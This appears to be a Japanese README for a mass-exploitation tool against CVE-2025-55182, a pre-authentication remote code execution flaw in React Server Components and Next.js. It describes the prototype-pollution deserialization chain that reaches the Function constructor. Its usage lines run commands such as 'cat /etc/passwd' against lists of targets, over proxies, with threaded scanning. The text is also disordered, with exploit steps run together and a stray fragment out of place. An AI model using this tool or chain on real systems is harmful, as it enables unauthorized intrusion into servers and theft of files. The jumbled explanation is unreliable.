
React Server Components / Next.js Pre-Authentication Remote Code Execution
| 属性 | 値 |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS | 10.0 (Critical) |
| CWE | CWE-502: Deserialization of Untrusted Data |
| タイプ | Pre-Auth RCE |
| コンポーネント | 影響を受けるバージョン |
|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.0 ~ 15.0.4, 15.1.0 ~ 15.1.8, 15.2.x ~ 15.5.6, 16.0.0 ~ 16.0.6 |
| 関連パッケージ | react-server-dom-webpack, react-server-dom-turbopack, react-server-dom-parcel |
この脆弱性は、React Server Components (RSC) Flight プロトコルにおける逆シリアル化の欠陥を利用し、悪意のある multipart/form-data リクエストを構築することで、認証なしのリモートコード実行を実現します。完全なエクスプロイトチェーンは以下のとおりです。
POST multipart/form-data と Next-Action リクエストヘッダーを組み合わせて Server Action パスをトリガーします$1:__proto__:then が PENDING 状態の Chunk 1 オブジェクト上の Chunk.prototype.then にアクセスして、それを thenable にします$1:constructor:constructor はプロトタイプチェーンを通じて Function コンストラクターに解決されますChunk.prototype.then は initializeModelChunk を呼び出して value フィールド '{"then":"$B0"}' を解析します$B0 blob の解析は _formData.get(_prefix + "0")、すなわち Function(code + "0") を呼び出しますpip install requests[socks]
スクリプトは依存関係が不足している場合、
requestsとPySocksのインストールを自動的に試みます。
python CVE-2025-55182.py -u http://target:3000 -c "id"
python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt
python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt
# HTTP プロキシ
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080
# SOCKS5 プロキシ
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080
python CVE-2025-55182.py -u http://target:3000 -c "id" -v
バッチスキャンの結果は -o で指定された出力ファイルに書き込まれ、脆弱性の存在が確認されたターゲットのみが記録されます。
http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# 注释行会被忽略
本ツールは許可を得たセキュリティテストおよびセキュリティ研究の目的のみに使用してください。利用者は、対象システムの所有者から明確な許可を得ていることを確認する必要があります。許可なくシステムへのペネトレーションテストを行うことは違法行為であり、利用者はすべての法的責任を自ら負うものとします。
then プロパティを持ち、thenable と見なされて呼び出され、コード実行がトリガーされて RCE が実現します| パラメータ | 説明 | デフォルト値 |
|---|
-u, --url | 単一ターゲットの URL(-f とは排他的) | - |
-f, --file | ターゲット URL のリストファイル(1行に1つ)(-u とは排他的) | - |
-c, --command | 実行するシステムコマンド(--check モードでは必須ではない) | - |
-o, --output | 結果の出力ファイル | results.txt |
-t, --threads | 同時実行スレッド数 | 10 |
-v, --verbose | デバッグ出力を表示 | False |
--proxy | プロキシアドレス。HTTP および SOCKS5 に対応 | - |
--timeout | リクエストのタイムアウト時間(秒) | 15 |
--check | 脆弱性の検出のみ行い、システムコマンドを実行しない | False |
--verify-ssl | TLS 証明書を検証 | False |